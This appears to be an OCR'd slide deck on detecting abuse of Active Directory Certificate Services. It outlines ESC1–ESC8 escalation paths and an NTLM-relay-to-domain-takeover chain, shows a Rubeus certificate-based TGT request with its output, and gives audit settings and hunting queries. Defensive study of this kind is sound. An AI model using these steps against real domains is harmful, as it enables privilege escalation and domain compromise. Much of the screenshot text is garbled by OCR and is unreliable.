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Active Directory Certification Services

* Active Directory Certification Services (AD CS) is Microsoft’s PKI
implementation that integrates with existing Active Directory forests; Microsoft PKI

* While AD CS is not installed by default for Active Directory .
environments, in facts it is widely deployed. It can be used: Xy;IK XYHK

* User Authentication; H B HPOJIAKIHEH
* HTTPS certificates;
* VPN certificates;
* Digital Signatures;
e Code Signing
* Propper AD CS configuration is extremely complex task!

* So, there are a lot of AD CS deployments with different
misconfigurations;

* AD CS misconfigurations can lead to whole domain compromise! O'REILLY" Poccunerut EB. & dxvemos C.J0
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Why should we care?

Certificate enrollment web
interfaces

Windows Client Certificate
Enrollment Protocol (MS-WCCE)

ICertPassage Remote
Protocol (MS-ICPR)

Golden Certificate

Rogue Certification Authority
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Enroll the certificate

Theft the cerrtificate

How can you obtain
certificate?

}

Forge the certificate

Authentication

How can you use
certificate?

Kerberos PKINIT (Pass the
Certificate)

LDAPS

LDAP + StartTLS

Enroll other certificates

Credential Access

UnPAC the hash

Other (Code Signing, VPN, etc.)




Why should we care?

The Public Key Cryptography for Initial
Authentication in Kerberos (PKINIT) protocol
enables the use of public key cryptography in the
initial authentication exchange of the Kerberos
protocol.

Instead of sharing a secret key between the client
and KDC, the client possesses a public key pair that
is signed by a trusted Certification Authority.

When PKINIT is enabled, it is possible to:

 Perform Kerberos authentication using X.509
certificate and obtain a TGT

* Create a Schannel Security Context using X.509
certificate for LDAP over SSL (LDAPS)

* Recover NTLM from TGT requested using X.509
certificate (UnPAC the hash)
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C:\Windows\system32\cmd.exe

c:\Tools>.\Rubeus.exe asktgt /user:demo\simpleuser /certificate:certificate.pfx

v1l.6.4
[*] Action: Ask TGT
Building AS-REQ (w/ PKINIT preauth) for: 'demo\simpleuser’

TGT request successful!
base64(ticket.kirbi):

+

[
[-
[
[

]
]
]
1

doIFjjCCBYqgAWIBBaEDAgEWOOIErTCCBK1hggS1IMITIE0aADAGEFOQWbCKkRFTUSUTESDQUYiGTAXOAMC
AQKhEDAOGWZrcmJ®Z3QbBGR1bW+jggRVMIIEa6ADAgESOQMCAQKiggRABIIEWdqDT1ul4Tz5tPy1RX0F
Ie70sfwS7HS5prgECN9mWgLK8c09L4sw9aS8f3CeRFq+Yt1lgm+PQVVjUGUEK13uswkjpKqq8t2yUwrCo
3Fkh6NNSqS9uZnl7nrFcsFUskKxQY7rZJ0Y/Usa@sz2hPGCbNy3W3AvyBf/JIBZ+GbtxPdJIMSDFTaMRg
09gq5SRK+3w/knMhgyNfo3414q6wy TFUGSMKMkO7uS69Y593w+AZvn1WzBjA1BzRO5LF2cdk2vrGizIBt
3+fV6KuXqSAMsFr2wB/XzRjQYoFaGXTpyklowrs52Z vysj6GrfaQHztpVCDIb/09iDDpKO+5Evuwyw
coMbQ6XFcGYow67j/8VXQpvyTJoLzY6]j2+RhBY4KeXRERW3fjWI+wHINYGTSs1Qp5Se7gml0aAAp+NBKAwW
FfWrlhqg/sKOXq1V6F6NcebMHTEMFe/XC4xycGeiNgvmILwgO+xmv5Ye8DATIDGTT1AQVIW7GDKeOWVbl
UqqClSvw/zApLuoGsB3le/Lsws9kby@jocoAaA4VNbYdZQNhTu+eaCEQWW/kPDnib+TEx909dhK6Qskq
reF3wBco3Poki3kQm7CpcObZ8+AZ5Axz806RMD11CAEUtOXNCch3PEGNNHWHk3GEkWZ Tr6bwoQ22iUH7N
FOLtEUd74+nsEn6AzLFScnTktGADVNIFwe jWVXhAGX+FRxwi8Jq9RdDx2YVvPykCOBPkEwx/KYCdhd6rb
9VY60HO/VPOK1HYXSIpApsA62RK+AJFITOQCENI70+2VANLWD7XxcmInS1owSpNSMTQC7gAEXTkIiv/X6
22eT7r0Ys2ih2H1FTrgn/k1l/Qr+1gbIo0@9I/sJyFCb8pVgIvH+6eR9r96wESM6aayGIKBcUBNGeWz9n
typYP7dWVvi799iHDja7v+rdTP1zgtQHXxC2cYO10437k83INFY2t+olWub6tcG2zoVU7 vXKIWWTA91wB71
uk5Vn4LmAgFn1AQPCv3AK4nhQ15jr2aTrelQsy07jtc6Q0/IMq02I/PgbBbUbA8jivnOfx4mZv7P1bix
CGRXxC9kztOX1t7fR/sI9Z79EBZihwXPZCFQkNIsz9H8qs4c/btaS0d3gtqRue094cAqbDde@QduknOX
Gro9IxWFMocUjgNAZitUS+GX158ZbEKRKrSWjbDbgsznSg3h7SC2fpm/57zbSLLvmIROeN7SROZERFQS
GSLs21IviQgevLAarF8fyivRMrru/PXGeEoQzRIEW/w31K1Y9YTLuma/MyCh13EBbfYS8EQUPHGQ+XCMNN
NzOeFkuv++LJuVysNz2q20EIOv2xc+Z6pknNn51322wMyJdUSSrFSzmB1/PKuLBROEAKNIulWYACpPREZ
BhMwtiyn3p6mmayxZB21mLzK/9DowlbYQCRRQANOZr8h9+Gg7s0krZ0dIHGWVIUE1gBCcAZqOOL1bc7TT
DQkUMgnbih3sy04HyR5D7BfKS60BzDCByaADAgEAOOHBBIG+TYG7MIG40IGIMIGYMIGvOBSwGaADAGEX
ORIEEJcvXFaAGmfDTOIj3k1l1fIWhDBSKREVNTYSMTONBTKIXMBWgAWIBAaEOMAWbCNNpbXBSZXVzZZXKj
BwMFAEDhAACIERgPMjAyMjAIMTcXMTAXMThaphEYDzIwMjIwNTE3M]jEWMTE4WqCcRGA8YMDIyMDUYNDEX
MDExOFqoDBSKREVNTYSMTONBTKkZMBegAwIBAqQEQMA4bBmtyYnRndBSEZGVtbu==

ServiceName krbtgt/demo
ServiceRealm DEMO. LOCAL
UserName : simpleuser
UserRealm DEMO.LOCAL
StartTime : 5/17/2022 12:01:18 PM
EndTime : 5/17/2022 10:01:18 PM
RenewTill : 5/24/2022 12:01:18 PM

Flags : name_canonicalize, pre_authent, initial, renewable, forwardable

KeyType :  rcd4_hmac
Base64(key) 1y9cVoAaZ8NM4iPeSWV8hQ==

Using PKINIT with etype rc4_hmac and subject: CN=simpleuser, CN=Users, DC=demo, DC=local




What if PKINIT isn’t supported?

with certificates

not supported

Published on Wed 04 May 2022 by Yannick Méheut

Introduction

SpecterOps's research “Certified Pre-Owned", on abusing Active Directory Certificate Services
(AD Cs), has made it even easier for pentesters to obtain Domain Admin privileges during
internal assessments.

Here's what usually happens when we conduct an internal penetration test on an environment
that has not been hardened against ADCS attacks:

1. Obtain a domain account (e.g., through Responder or mitm6)

2. Find the AD CS web enrollment service (e.g., with a valid account and Certify/Certipy; or in
black-box through manual search, or ntlmrelayx.py's ——dump-adcs option)

3. Force a Domain Controller to connect back to our workstation (e.g., through printerbug.py
or PetitPotam)

4. Relay this authentication to the AD CS web enrollment service with ntlmrelayx.py (attack
ESc8 described in "Certified Pre-Owned") to obtain a certificate for the targeted DC.

5. Use PKINITtools to get a TGT for the targeted DC (or recover its NT hash), allowing to take
over the domain.

PR aThetwith Star

Published on Thu 28 April 2022 by @lowercase_drm

While doing research on LDAP client certificate authentication, we
realized that the LDAP implementation of Active Directory supports the
StartTLS mechanism, which has interesting implications on relay
attacks.

TL;DR: Active Directory LDAP implements StartTLS and it can be used to
bypass the Channel Binding requirement of LDAPS for some relay
attacks such as the creation of a machine account if LDAP signing is not
required by the domain controller. A PR to ntimrelayx implements this
bypass.
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Abusing Active Directory Certification Services

* Active Directory Certificate Services has a lot of attack potential

* InJune 2021, Will Schroeder and Lee Christensen from SpecterOps published
a research named ”“Certified Pre-Owned”, that demonstrates how an
adversary can utilize and abuse the AD CS environment to elevate privileges,
get a strong foothold and persistence within a network

 "0Of note, nearly every environment with AD CS that we’ve examined for
domain escalation misconfigurations has been vulnerable. It’s hard for us to
overstate what a big deal these issues are” — SpecterOps Team

User Credential Theft (1 year +) | Stealing existing user certificates capable of domain
authentication or actively requesting a new certificate
from a user’s context. Survives user password changes
and can be done without elevation or touching LSASS!

Machine Persistence (1 year +) | Stealing existing system certificates capable of domain
authentication or actively requesting a new certificate
from a system’s context, combined with resource-based
constrained delegation (or just S4U2Self). Survives
machine password changes and can be done without
touching LSASS!

Domain Escalation Paths Misconfigured certificate templates that allow Subject
Alternative Name (SAN) specification, vulnerable
Certificate Request Agent templates, vulnerable template
ACLs, the EDITF_ATTRIBUTESUBJECTALTNAME?2 flag
being set, vulnerable CA permissions, or NTLM relay to
web enroliment endpoints.

Domain Persistence Stealing the certificate authority’s private key and forging
“golden” certificates.
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Certified Pre-Owned

Abusing Active Directory Certificate Services

Will Schroeder
Lee Christensen

Version 1.0.1




Abusing Active Directory Certification Services

ESC1: Domain escalation via No Issuance
Requirements + Enrollable Client
Authentication/Smart Card Logon OID
templates + allowed SAN in CSR

ESC2: Domain escalation via No Issuance

Requirements + Enrollable Any Purpose EKU or
no EKU

ESC3: Domain escalation via No Issuance
Requirements + Certificate Request Agent EKU +
no enrollment agent restrictions

ESC4: Domain escalation via misconfigured
certificate template access control

\
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ADCS
attack
techniques

\

ESCS: Domain escalation via vulnerable PKI AD
Object Access Control

ESC6: Domain escalation via the EDITF_
ATTRIBUTESUBJECTALTNAME2 setting on CAs +
No Manager Approval + Enrollable Client
Authentication/Smart Card Logon OID templates

ESC7: Vulnerable Certificate Authority Access
Control

ESC8: NTLM Relay to AD CS HTTP Endpoints




Audit Certification Services

v || Advanced Audit Policy Configuration Subcategory Audit Events
. ¢ 2 2 ” . . . . . ”
v iy Eirst:m AudltLPollaes - Local Groug B Audit Application Generated Not Configured must enable ”Audit Certlflc.atlon. Services
% Accoun: I\:gon . sio] Audit Certification Services Success and Failure SchategOI’V of advanced audit p0|ICV, and at
- Account Managemen o7 = : : :
22 Detailed Tracking e ;’-\\ujft gfleta;Led File Share :ot Eon:gure: the level of the CA server,
i DS Access i e e determine which event categories should be
=- oo Audit File System Not Configured
25 Logon/Logoff = Iogged
=3 Object Access .o: Audit F?Iterfng Platform Connection Not Conf?gured ’
=3 Policy Change oio| Audit Filtering Platform Packet Drop Not Configured It is recommended to select all events to
;a Privilege Use .o: IA\udlt tlandl.enl\lﬁ-anlpulatlon Esl'of Eon?guredl audit!
demo-CA Properties ? X B Registry Editor
. : File Edit View Favorites Help
E()Bﬂtenerlal gtollcy Module — atEthModule CertPropSve || — Hibia R
ensions orage icate Managers \
Enrollment Agents Aud'rtingg Recovery Agents gecunty b : S . ab| (Default) REG SZ (value not set)
L T §°“29” 1 %8 AuditFilter REG_ DWORD  0x0000007f (127)
v o ontiguration -
To start logging events to the security log, you must enable the 'Audit object T d::no_c A 2P| CACertHash REG_MULTISZ d92a9a521b6b ¢
access’ setting in Group Policy. ™ cop ab|CACertPublicationURLs REG_MULTI_SZ 1:C:\Windows\syst
Events to audit: ..... EncryptionCSP ::i EﬁiewerName EEE-'[S)%NORD CA.demo.Io(coal
N [} ExitModules Jie| CAType 2 0x00000000 (0)
Back up and res'-tore the CA daTab.ase Audit Filter = 2 Sy A‘?P\] CAXchgCertHash REG_MULTLSZ 04 a0 a5 c0 e4 48 9
[V] Change CA configuration Audit Filter = 64 o ab) CA¥rhnaOverlanDerind  REG S7 Dawve

[V] Change CA security settings Audit Filter = 16

To configure Certification Service audit, you

additionally

A

Issue and manage certificate requests Audit Filter =4
Revoke certificates and publish CRLs Audit Filter = 8
Store and retrieve archived keys Audit Filter = 32

htt@?}ﬂﬁ%‘}%ﬁ’r‘éﬁﬁ’ﬁ&&é‘ow Certificate Services Audit Filter = 1




Audit modifications of CA audit policy. Useful events

<Data Name="AuditFilter">84</Data> audit policy

<Data Name="SubjectUserSid">S-1-5-21-3970906361-
1696223450-2713567039-1104</Data>

<Data Name="SubjectUserName">dadmin</Data>

<Data Name="SubjectDomainName">DEMO</Data>

<Data Name="SubjectLogonld">0xf67ad</Data>

</EventData>
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Enrollment Agents Auditing Recovery Agents Security &f Registry Editor
To start logging events to the security log, you must enable the 'Audit object File Edit View Favorites Help
access’ setting in Group Policy. -
Events to audi: - CertSve ) ~ || Name Type Data
[] Back up and restore the CA database F 1 Conf!gu ) a_'}] (Default) REG_SZ (value not set)
[ Change CA corfiguration: Audit Filter = 64 - Configuration 24 AuditFilter  REG_DWO...  0x00000054 (24)
I Change CA security settings Audit Filter = 16 P demo: CA ab|CACertHash  REG_MULT.. d92a%a521b6be
Issue and manage certificate requests Audit Filter = 4 I Performance — i
[] Revoke certificates and publish CRLs
[] Store and retrieve archived keys
[] Start and stop Active Directory Certfficate Services
{2] Event Properties - Event 4885, Microsoft Windows security auditing. ig] Event Properties - Event 13, Sysmon
General Details General Details
e = = Registry value set:
The audit filter for Certificate Services changed. Ru?eN;ym &: Certificate Authority

- EventType: SetValue

»Filter: 84 UtcTime: 2022-05-16 07:08:38.554

- <EventData> Who changed

ProcessGuid: {55a1a30f-e%9b-6281-1813- }

Processld: 8032 |

Image: C:\Windows\system32\certsrv.exe

TargetObject: HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\demo-CA

\AuditFilter
Details: DWORD (0x00000054)
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Audit modifications of CA audit policy. Let's hunt it!

Search for modifications of the audit filter:

EventlD:4885
Time + EventID Channel SubjectUserName SubjectUserSid AuditFilter
> May 16, 2022 @ 10:08:39.904 4885 Security dadmin S-1-5-21-3970906361-1696223450-2713567039-1104 84
> May 16, 2022 @ 10:06:01.052 4885 Security dadmin S-1-5-21-3970906361-1696223450-2713567039-1104 127
> May 16, 2022 @ 10:05:33.833 4885 Security dadmin S-1-5-21-3970906361-1696223450-2713567039-1104 118
Search for changing of the related registry value:
EventID:13 AND TargetObject:("*\\Services\\CertSvc\\Configuration\\*" AND "\\AuditFilter")
Time + EventID Channel Category Image TargetObject Details
> May 16, 2022 @ 10:08:39.904 13 Microsoft-Windows-Sysmo  Registry value set (rule: C:\Windows\system32 HKLM\System\CurrentControlSet\Services\CertSvc DWORD (©x0000
n/Operational RegistryEvent) \certsrv.exe \Configuration\demo-CA\AuditFilter 0054)
> May 16, 2022 @ 10:06:01.852 13 Microsoft-Windows-Sysmo  Registry value set (rule:

n/Operational

RegistryEvent)

C:\Windows\system32 HKLM\System\CurrentControlSet\Services\CertSvc DWORD (©x0000

\certsrv.exe \Configuration\demo-CA\AuditFilter

007f)

https://t.me/learningnets
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What events are we interested in?

1. Client (user or
computer) generates

public/private key pair  cliant

5. Client stores certificate in
Windows Certificate store and
uses to perform actions allowed
by the certificate (authentication,
code signing, etc.)
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Subject: CORM\user
EXV: Code Signing

Template: CodeSygn

Public key: <pubkey>

Certificates
requests
monitoring

O
)

2. Client sends a certificate request
(CSR) to an Enterprise CA server

Enterprise CA

Certificate
p—

Pubs Ley

Sgracere <CA
ugrature»
Sebgect CORP\ uner

tun: Code Sgring

4, CA generates a certificate and

Certificates Templates
creation/modification
monitoring

CodeSign
Template
EXUs: Code Signing
Ervoliment Permissions:

Damain Users
| Requires Approval? No

3. Does the certificate template exist?
Are the settings in the CSR allowed by
certificate template?

Is the user allowed to enroll for a
certificate?

CA configuration
change monitoring

signs it using the CA private key

Certificates issuing
monitoring

12



Certificate templates monitoring — event 4898 (the best one)

4898 event contains all necessary
information about certificate template

i3] Event Properties - Event 4898, Microsoft Windows security auditing.

General Details

Certificate Services loaded a template.

DomainUser v100.3 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.10450288.63478
CN=DomainUser,CN=Certificate Templates, CN=Public Key

Services,CN=Services,CN=Configuration,DC=demo,DC=local

Template Information:
Template Content:

flags = 0x2023a (131642)
CT_FLAG_ADD_EMAIL -- 0x2
CT_FLAG_PUBLISH_TO_DS -- 0x8
CT_FLAG_EXPORTABLE_KEY -- 0x10 (16)
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)
CT_FLAG_ADD_TEMPLATE_NAME -- 0x200 (512)
CT_FLAG_IS_MODIFIED -- 0x20000 (131072)

msPKI-Private-Key-Flag = 0x1010010 (16842768)
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 0x10 (16)
CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0x0
TEMPLATE_SERVER_VER_2003< < CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT --

(65536)
TEMPLATE_CLIENT_VER_XP<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0|

(16777216)

msPKI-Certificate-Name-Flag = 0xa6000000 (2785017856)
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000 (33554432)
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 0x4000000 (67108864)

A

T v ToToTTT o e

Superseded Templates

To modify an extension, select it, and then click Edit.

Extensions included in this template:

BExtensions Security Server

{4] Event Properties - Event 4898, Microsoft Windows security auditing.

General Details

[E Application Policies
T Basic Constraints
DCed'rficate Template Information
D Issuance Policies

1| msPKI-RA-Signature = 0

msPKI-Minimal-Key-Size = 2048

msPKI-Certificate-Application-Policy =
1.3.6.1.5.5.7.3.2 Client Authentication

@ Key Usage

—roTToTET <o T

o TToTTeTTTS STFFTYSTORTTY LA aus

Subject Name Issuance Requirements

CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 0x20000000 (536870912)
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 0x80000000 (2147483648)

| CT FLAG_INCLUDE SYMMETRIC ALGORITHMS -- Ox1

msPKI-Enroliment-Flag = Ox2b (43)

(O Supply in the request

UUse subject information from existing certificates for autoenrollment
renewal requests (7)

(® Build from this Active Directory information

Select this option to enforce consistency among subject names and to
simplify certificate administration.

Subject name format:
Fully distinguished name v

Include e-mail name in subject name

Include this information in altemate subject name:
E-mail name

[C] DNS name

User principal name {UPN)

[J service principal name (SPN)

1.3.6.1.5.5.7.3.4 Secure Email
1.3.6.1.4.1.311.10.3.4 Encrypting File System

pKICriticalExtensions =
2.5.29.15 Key Usage

Security Descriptor: 0:5-1-5-21-3970906361-1696223450-2713567039-
1104G:S-1-5-21-3970906361-1696223450-2713567039-519D:PAI(OA;; RPWPCR; 0e10c968- 78fb-
11d2-90d4-00c04f79dc55;;DA) (OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)
(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3970906361-1696223450-
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)

(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3970906361-1696223450-2713567039-519)
(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3970906361-1696223450-2713567039-1104)
(A;;LCRPLORC;;;AU)

Subject Name Issuance Requirements

Require the following for enroliment:

T El A DEND &11 REOIIESTE . vr . le
CT_FLAG_PEND_ALL_REQUESTS -- 0x2 [«

-

t&%‘i _.%%z %E\S@I&Xﬁﬁi& (32)

: CA certificate manager approval I

[] This number of authorized signatures: 0

U

Superseded Templates Extensjons Server

_Group oruser names:
82 Authenticated Users

3 dadmin (dadmin@demo local)

52 Domain Admins (DEMO“\Domain Admins)

52 Domain Users (DEMO\Domain Users)

52 Enterprise Admins (DEMO\Enterprise Admins)

Pemissions for Authenticated Users Allow Deny

Full Control | [l
Read ]




4898 event peculiarities

It is important to note that 4898 event is not suitable
for real-time detection of template
creation/modification. This event doesn’t fire each
time certificate template created, modified or used to
issue the certificate. By default, 4898 is triggered in
the following cases:

o at the time of the first enrollment since CA
service start;

o at the time of the first enrollment since
certificate template modification.

Thus, this means that until the certificate is issued
using the corresponding template for the first time
after starting the CA service or modification the
template, there will be no 4898 event for template.

It is possible to increase the frequency of 4898 events
by setting flag EDITF_AUDITCERTTEMPLATELOAD for
EditFlags parameter, using certutil or via registry
modification. With this setting, event 4898, in addition
to the situations already described, will also be
generated after CA service start for each template
published for enrollment
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Administrator: Command Prompt - O X

C:\Windows\system32>certutil -setreg policy\EditFlags +EDITF_AUDITCERTTEMPLATELOAD
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Contiguration\demo-CA\
PolicyModules\CertificateAuthority MicrosoftDefault.Policy\EditFlags:

01d Value:

EditFlags REG_DWORD = 3473742 (54998850)
EDITF_REQUESTEXTENSIONLIST -- 2
EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
EDITF_ENABLEAKIKEYID -- 100 (256)
EDITF_ATTRIBUTECA -- 200 (512)
EDITF_IGNOREREQUESTERGROUP -- 400 (1024)
EDITF_ENABLEAKIISSUERSERIAL -- 1000 (4096)
EDITF_ENABLEAKICRITICAL -- 2000 (8192)
EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
EDITF_EMAILOPTIONAL -- 20000 (131072)
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_DISABLEOLDOSCNUPN -- 400000 (4194304)
EDITF_ENABLEUPNMAP -- 1000000 (16777216)
EDITF_ENABLEOCSPREVNOCHECK -- 2000000 (33554432)

New Value:

EditFlags REG_DWORD = 3673742 (57096002)
EDITF_REQUESTEXTENSIONLIST -- 2
EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
EDITF_ENABLEAKIKEYID -- 100 (256)
EDITF_ATTRIBUTECA -- 2060 (512)
EDITF_IGNOREREQUESTERGROUP -- 400 (1024)
EDITF_ENABLEAKIISSUERSERIAL -- 1000 (4096)
EDITF_ENABLEAKICRITICAL -- 2000 (8192)
EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
EDITF_EMAILOPTIONAL -- 20000 (131072)
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_AUDITCERTTEMPLATELOAD -- 2060000 (2097152)
EDITF_DISABLEOLDOSCNUPN -- 400000 (4194304)
EDITF_ENABLEUPNMAP -- 10000600 (16777216)
EDITF_ENABLEOCSPREVNOCHECK -- 2000000 (33554432)

CertUtil: -setreg command completed successtully.
The CertSvc service may need to be restarted for changes to take effect.




Certificate requests/issuing monitoring
Events 4886/4887 (the worst ones)

4886 event is logged when the Certification Authority receives a certificate request. 4887

is logged when a certificate is issued as a result of either:

* An administrator or certificate manager issues a pending request;

* The CA automatically approves the request based on the CA's policy and that of the

certificate template associated with the request.

There is no Certificate Template name in the event and it’s parameters :(

There is no Certificate Request parameters :(

Thus, these events are practically useless from detection point of view!

Event Properties - Event 4886, Microsoft Windows security auditing.
P ty g

General Details

Certificate Services received a certificate request.

Request ID: 81
Requester: DEMO\simpleuser
Attributes:

ccm:WS.demo.local

https://t.me/learningnets

id] Event Properties - Event 4887, Microsoft Windows security auditing.

General Details

Certificate Services approved a certificate request and issued a certificate.

Request ID: 81
Requester: DEMO\simpleuser
Attributes:

ccm:WS.demo.local

Disposition: 3

SKI: 61 ¢59d 38 80 b3 c4 85 df 050b b1 33 a1 ¢7355d 8849 4d
Subject: CN=simpleuser, DC=demo, DC=local|
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CA configuration change monitoring
Events 4882/4890/4891

https:

Events  4890/4891 -

Certificate Services

configuration entry change

Event 4882 - Certificate Services
security permissions change

{d] Event Properties - Event 4891, Microsoft Windows security auditing.

General Details

A configuration entry changed in Certificate Services.

Node:
Entry:  CRLPublicationURLs
Value:  65:file://dc/test/test.crl

El

G

Event Properties - Event 4890, Microsoft Windows security auditing.

eneral Details

/t.ne

The certificate manager settings for Certificate Services changed.

Enable: Yes

Allow Everyone
Everyone
Allow Everyone

e/learriingnets

Administrator

id] Event Properties - Event 4882, Microsoft Windows security auditing.

General Details

The security permissions for Certificate Services changed.

Allow(0x00000001)
CA Administrator
Allow(0x00000003)
CA Administrator
Certificate Manager
Allow(0x00000002) DEMO\Domain Users
Certificate Manager
Allow(0x00000003) DEMO\Enterprise Admins
CA Administrator
Certificate Manager
Allow(0x00000203) BUILTIN\Administrators
CA Administrator
Certificate Manager
Enroll
Allow(0x00000003)
CA Administrator
Certificate Manager
Allow(0x00000003) Everyone
CA Administrator
Certificate Manager

NT AUTHORITY\Authenticated Users

DEMO\Domain Admins

BUILTIN\Administrators
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ESC1 — Misconfigured Certificate Templates
Allows requesters to specify a SAN

e Subject Alternative Name (SAN) is an extension to X.509 that allows
various identities to be bound to a certificate beyond the subject;

* By default during certificate-based authentication, certificates are mapped

to Active Directory accounts based on a user principal name (UPN)
specified in the SAN;

 So, when a certificate template allows requester to specify a SAN, it is
possible to request a certificate for another user;

* It can be used for privileges escalation if the certificate template defines

EKUs that enable domain authentication and can be enrolled by non-
privileged user without manager approval.

https:

ESC1 Properties ESC1 Properties ?
Superseded Templates Extensions General Compatibilty Request Handling Cryptography = Key Attes|
General Compatibility ~Request Handling  Crypt Superseded Templates Extensions Security Sen
Subject Name Issuanc Subject Name Issuance Requirements
»| (@ Supply in the request Require the following for enrollment:
Use subject information from existing certifici [[] CA certtificate manager approval
renewal requests (7)
[] This number of authorized signatures: 0
(O Build from this Active Directory information
1 lt m%m gm”'n ~oneisteansy amann

R

Certificate

General Details Certification Path

Show: | <All> v

Field Value

|:| Issuer demo-CA, demo, local
_'Walld from Sunday, May 15, 2022 10:36:.

|Vahd to Monday, May 15, 2023 10:36:.
F—
=] Public key RSA (2048 Blts)

\:| Public key parameters 0500
@Cerﬁﬁcate Template Inform... Template=ESC1(1.3.6.1.4.1.3...
anhanrnd Kevlleanas Client Anithenticatinn /1 2 A 1
CN = simpleuser .
DC = demo ”simple” user
= local in the Subject
1
Field Value
|:| Public key parameters 0500
@Cerﬁﬁcate Template Inform... Template=ESC1(1.3.6.1.4.1.3...
@Enhanced Key Usage Client Authentication (1.3.6.1....
@Applicaﬁon Policies [1]Application Certificate Polic...
i3 SMIME Capabilities [1]SMIME Capability: ObjectI...
aSubJect Key Ident:ﬁer 3109d460 57942390 f6 28..
5
J_'] Avtharitv Kev Tdentifier KeulN=eA ea 71N aR fFhN N
_[Other Name: _ “dadmin” user
”|  Principal Name=dadmin in the SAN
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Certificate template that vulnerable to the ESC1 technique
Useful events

Unfortunately, there is no simple way to monitor requesting the certificates with an arbitrary SAN. But it is possible to find
vulnerable templates, using 4898 event:

{2] Event Properties - Event 4898, Microsoft Windows security auditing. Security Descriptor: 0:5-1-5-21-3970906361-1696223450-2713567039-
1104G:S-1-5-21-3970906361-1696223450-2713567039-519D:PAI(OA;;RPWPCR;:0e10c968-78fb-
General Details 11d2-90d4-00c04f79dc55;; DA)(OA:;:RPWPCR:0e10c968-78fb-11d2-90d4-00c04f79dc55;:DU) |

(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;5-1-5-21-3970906361-1696223450-
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWO:;;;:DA)
(A;;CCDCLCSWRPWPDTLOSDRCWDWGO;;;S-1-5-21-3970906361-1696223450-2713567039-519)
ESC1v100.3 (Schema V2) (A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;5-1-5-21-3970906361-1696223450-2713567039-1104)

1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.3180117.68  |(A;;LCRPLORC;;:AU)
CN=ESC1,CN=Certificate Templates, CN=Public Key

Certificate Services loaded a template.

Services, CN=Services, CN=Configuration,DC=demo,DC=local Allow DEMO\Domain Admins
: Enroll
msPKI-Certificate-Name-Flag = 0x1 (1) Requester can specify llow DEMO\Domain Users Grants certificate enrollment right

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 0x1 | the SANina CSR

Enroll to the “Domain Users” group

msPKI-Enrollment-Flag = 0x9 (9) Manager approval Allow DEMO\Enterprise Admins
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 0x1 |15 disaped no flag Enroll . _
CT_FLAG_pUBL'SH_TO_DS i 0)(8 LL__REQUI_ESTS) _ Allaco/DannneEnnesy NEAAN\ Naacaai-m Adeaim-
msPKI-RA-Signature = 0 No authorized signatures are required
pKlExtendedKeyUsage =
1.3.6.1.5.5.7.3.2 Client Authentication ”Client Authentication”
1.3.6.1.5.5.7.3.4 Secure Email EKU allows authentication
1.3.6.1.4.1.311.10.3.4 Encrypting File System

https://t.me/learningnets
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Certificate template that vulnerable to the ESC1 technique
Let's hunt it!

Search for certificate templates that met the following conditions:

* an overly permissive certificate template security descriptor grants certificate enrollment rights to low-
privileged users;

* the certificate template allows requesters to specify a SAN in the CSR;
* no authorized signatures are required;
* manager approval is disabled;

* the certificate template defines EKUs that enable authentication — Client Authentication (1.3.6.1.5.5.7.3.2),

PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), Any Purpose
(2.5.29.37.0) or SubCA (no EKUs).

EventID:4898 AND SecurityDescriptor:(";0e10c968-78fb-11d2-90d4-00c04f79dc55,,DU" OR ";0e10c968-78fb-
11d2-90d4-00c04f79dc55;;,AU" OR ";0e10c968-78fb-11d2-90d4-00c04f79dc55;,;WD") AND

TemplateContent:"CT_FLAG_ENROLLEE SUPPLIES SUBJECT" AND TemplateContent:"msPKI-RA-Signature = 0"
AND -TemplateContent:"CT_FLAG_PEND _ALL REQUESTS" AND (TemplateContent:("1.3.6.1.5.5.7.3.2" OR
"1.3.6.1.5.2.3.4" OR "1.3.6.1.4.1.311.20.2.2" OR "2.5.29.37.0") OR TemplateContent:"pKIExtendedKeyUsage =
II)

https://t.me/learningnets
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Certificate template that vulnerable to the ESC1 technique
Let's hunt it!

Time +

Channel EventID

v May 14, 2022 @ 15:12:51.127 Security 4898

Category TemplatelnternalName SecurityDescriptor
Certification ESC1 0:S-1-5-21-3970906361-1696223450-2713567039-1104G:S-1-5-21-3970906361-1696223
Services 450-2713567039-519D : PAI(0A; ;RPWPCR ;0e10c968-78fb-11d2-90d4-00c04179dc55; ;DA)

(0A; ;RPWPCR ; 8e10c968-78fb-11d2-98d4-80c8479dc55 ; ; DU)|(0A; ;RPWPCR; 0e18c968-78F

b-11d2-98d4-00c0479dc55; ; S-1-5-21-3970906361-1696223450-2713567839-519) (A; ;C
